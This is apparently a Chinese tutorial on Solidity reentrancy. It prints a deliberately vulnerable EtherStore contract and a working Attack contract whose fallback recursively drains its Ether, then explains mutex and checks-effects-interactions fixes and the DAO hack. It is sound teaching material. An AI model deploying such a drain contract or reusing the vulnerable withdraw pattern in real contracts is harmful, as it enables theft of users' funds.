合约安全:重入漏洞
一、漏洞
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
这个被攻击的EtherStore
合约,可以用来deposit和withdraw以太币。withdraw
函数的基本逻辑是:
- 判断sender的余额是否大于0,是的话下一步;
- 使用
call
方法给sender发送合约里属于sender所有的余额,成功发送的话下一步; - 将合约中属于sender的余额值清零。
在攻击合约Attack
合约中,先看attack
函数,基本逻辑就是先调用deposit存入1个以太,再调用withdraw取出。然而关键的代码在fallback
函数中,这个fallback函数会先检测被攻击合约EtherStore
的余额,如果大于1个以太,就执行withdraw。我们在之前的文章写过,fallback在什么时候会调用:
- 1.假设EtherStore合约中有10个ETH的余额;
- 2.攻击者点击attack函数,先执行deposit于是攻击者就存入了1个ETH,接下来执行withdraw,withdraw函数前两行成功通过,开始使用
call
函数发送属于sender(这里是Attack合约)的余额; - 3.Attack合约收到余额后,根据我们上图所示,先看msg.data是否为空?是;receive是否存在?否;于是进入
fallback
函数; - 4.fallback函数中,先检测
EtherStore
的余额,这里应当是10 - 1 = 9 Ether,通过,于是又执行withdraw; - 5.withdraw函数先检测前两行,(注意,这是攻击过程的关键点!)属于sender的余额为不为0呢?答案是不为0,仍然能通过,因为上次执行withdraw函数,其实还停留在
call
发送Ether的那一步,下一步还没有执行,EtherStore中的balance值还没有更新,因此这里还是能通过,继续执行到下一个call
发送余额,这样又把合约余额发送过去了; - 6.Attack合约的fallback函数又开始重复withdraw,一直等到EtherStore合约中的余额为0,Attack合约的fallback函数不能通过余额检测的时候,整个提取过程才会停止。
- 7.执行完成,被攻击合约的所有10个ETH都被发送到了被攻击合约Attack上了。
这里的例子,Attack合约其实用
receive
函数也是可以的,而且合约里是可以有单独的receive函数,但是单独的fallback
函数就会报warning。
二、预防方法
1.避免使用call方法转账
在我们这篇《Solidity的发账和收账详解》中,我们说了transfer
, send
和call
这三个转账函数的区别,其中最重要的一点是,transfer和send是有gas 2300的限制的,而call没有。这就是为什么我们上面的例子中可以一直被递归执行的原因。如果是使用transfer
或者send
,2300的gas很快就会耗完,根本不会一直循环被提款。
2.确保所有状态变量的逻辑都发生在转账之前
我们这个例子中,能被攻击的还有一个原因是balances
余额的改变在call
转账之后,所以才能反复通过前两行的状态检测进行重复提款。
3.引入互斥锁
即在代码执行的时候,使用互斥锁来锁定合约状态,防止重入。比如我们这个例子中,可以改成:
bool reEntrancyMutex = false;
function withdraw() public {
require(!reEntrancyMutex);
uint bal = balances[msg.sender];
require(bal > 0);
reEntrancyMutex = true;
(bool sent, ) = msg.sender.call{value: bal}("");
reEntrancyMutex = false;
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
抑或是单独写个ReEntrancyGuard
的合约,其中只有互斥锁变量和函数修饰器:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract ReEntrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
然后我们的EtherStore
合约继承并在withdraw
函数里加上noReentrant
的前缀即可。
open zeppelin官方实现了这样的一个抽象合约ReentrancyGuard
,思路就是上面的那个思路只不过它可定制化程度更高,点击这里可以看到。
在我们实际项目中,还是经常使用到open zeppelin的这个实现的。
三、真实案例
The DAO(分散式自治组织)是以太坊早期发展的主要黑客之一。当时,该合约持有1.5亿美元以上。重入在这次攻击中发挥了重要作用,最终导致了 Ethereum Classic(ETC)的分叉。有关The DAO 漏洞的详细分析,请参阅 Phil Daian 的文章。